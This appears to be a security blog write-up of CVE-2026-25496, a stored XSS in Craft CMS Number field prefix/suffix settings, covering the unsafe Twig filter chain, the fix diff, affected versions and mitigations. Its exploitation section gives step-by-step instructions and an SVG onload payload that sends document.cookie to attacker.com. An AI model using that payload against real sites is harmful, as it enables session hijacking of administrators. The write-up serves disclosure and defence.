Feb 9, 2026·6 min read·10 visits
Improper output encoding in Craft CMS Number fields allows Stored XSS. Specifically, the prefix and suffix settings are parsed as Markdown without HTML encoding, allowing raw script injection. Fixed in 4.16.18 and 5.8.22.
A classic case of 'trusted input' going rogue, CVE-2026-25496 is a Stored Cross-Site Scripting (XSS) vulnerability lurking within the unsuspecting 'Number' field settings of Craft CMS. By neglecting to sanitize HTML tags when parsing Markdown in field prefixes and suffixes, the system allows administrators with schema permissions to plant persistent JavaScript payloads that execute whenever the field is rendered.
In the world of web exploitation, we often hunt for the complex, the obscure, or the blatantly negligent. But sometimes, the most effective bugs hide in the most mundane features. Enter the Number Field in Craft CMS. It’s the kind of feature you gloss over—it holds prices, quantities, or maybe a year. It’s data. It’s boring.
However, Craft CMS is known for its flexibility. When defining a Number field, an administrator can define a Prefix (like $) or a Suffix (like kg). To make things 'pretty', the developers allowed these little text snippets to be parsed as Markdown. Do you really need bold text in your currency symbol? Probably not. But feature creep is a security researcher's best friend.
The vulnerability here isn't in the number itself; it's in the decoration around it. Because the application assumed that administrators defining schema structure were trustworthy (and that Markdown parsers would behave), it opened a door. If you can control the schema, you can control the browser of anyone who interacts with that data.
Let's talk about Twig, the templating engine powering Craft CMS. Twig is generally secure by default because it automatically escapes output. If you try to print <script>, Twig prints <script>. Safe, boring, effective. To bypass this, developers use the |raw filter. This is essentially telling the compiler: "Trust me, I know what I'm doing, just dump the data."
The vulnerability stems from a specific chain of filters used in src/templates/_components/fieldtypes/Number/input.twig. The code took the user-defined prefix/suffix and ran it through a Markdown filter (|md) and then immediately piped it to |raw.
Here is the logic error: Markdown, by design, supports inline HTML. If you write <b>Hello</b> in Markdown, it renders as bold text. If you write <script>alert(1)</script>, a standard Markdown parser often treats it as valid HTML and passes it through. The developers used the |md filter to render the formatting but failed to tell the parser to encode HTML tags before rendering. The |raw filter at the end of the chain then stripped away Twig's last line of defense, serving the attacker's payload on a silver platter.
The fix is subtle but critical. It highlights the difference between "rendering markdown" and "rendering safe markdown".
Below is the diff from commit cb5fb0e979e72f315c9178fc031883d49527f513. Notice that the developers didn't remove the feature; they just tightened the leash on the Markdown parser.
--- a/src/templates/_components/fieldtypes/Number/input.twig
+++ b/src/templates/_components/fieldtypes/Number/input.twig
@@ -25,7 +25,7 @@
<div class="flex">
{% if hasPrefix %}
<div aria-hidden="true">
- {{ prefix|t('site')|md(inlineOnly=true)|raw }}
+ {{ prefix|t('site')|md(inlineOnly=true,encode=true)|raw }}
</div>
{% endif %}The Smoking Gun: The original code md(inlineOnly=true) told the parser "don't make block-level elements like paragraphs," but it didn't say "stop HTML tags."
The Patch: The addition of encode=true forces the Markdown parser to HTML-encode the input string before parsing it. If an attacker inputs <script>, it becomes <script> before the Markdown logic touches it. The |raw filter allows the generated HTML (like <strong> from **bold**) to pass, but the malicious injection is neutralized.
While this vulnerability requires high privileges (Admin), do not underestimate its utility for persistence or lateral movement within a team. If you have compromised a lower-level admin account with schema permissions, you can use this to trap the Super Admin.
Step 1: The Setup Log in as an administrator. Navigate to Settings > Fields. Create a new field of type Number (or edit an existing one that is widely used, like 'Price').
Step 2: The Injection Locate the "Prefix Text" setting. This is where we inject our payload. A simple PoC might look like this:
"><img src=x onerror=alert('XSS_By_Prefix')>Or, for a more stealthy approach using SVG (which often bypasses simple filters):
<svg/onload=fetch('//attacker.com?c='+document.cookie)>Step 3: The Trap Save the field. The database now stores this string.
Step 4: The Trigger
Wait. You don't need to do anything else. As soon as any other administrator (or potentially a frontend user if these fields are exposed in a specific way) views an entry that utilizes this number field, the browser renders the prefix. The |md filter parses it, the |raw filter outputs it, and the browser executes it. You now have their session cookies.
A common rebuttal to vulnerabilities like this is: "But you need to be an Admin to exploit it! If you're an Admin, you already own the site!"
Not necessarily. In modern CMS environments, "Admin" is rarely a binary state. You have content editors, site managers, and developers.
The remediation is straightforward: Update.
Patched Versions:
If you cannot update immediately, you can mitigate the risk by adhering to Craft CMS best practices:
allowAdminChanges to false in your config/general.php. This prevents anyone (even admins) from modifying field settings in the production environment, effectively closing the vector unless the attacker can modify the codebase/project config files directly.script-src 'self'). This won't fix the bug, but it will prevent the browser from executing the payload.CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Pixel & Tonic | >= 4.0.0-RC1, < 4.16.18 | 4.16.18 |
Craft CMS Pixel & Tonic | >= 5.0.0-RC1, < 5.8.22 | 5.8.22 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v4.0 | 4.8 (Medium) |
| Privileges Required | High (Admin) |
| Impact | Stored XSS / Session Hijacking |
| Vulnerable Component | Number Field Settings (Prefix/Suffix) |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')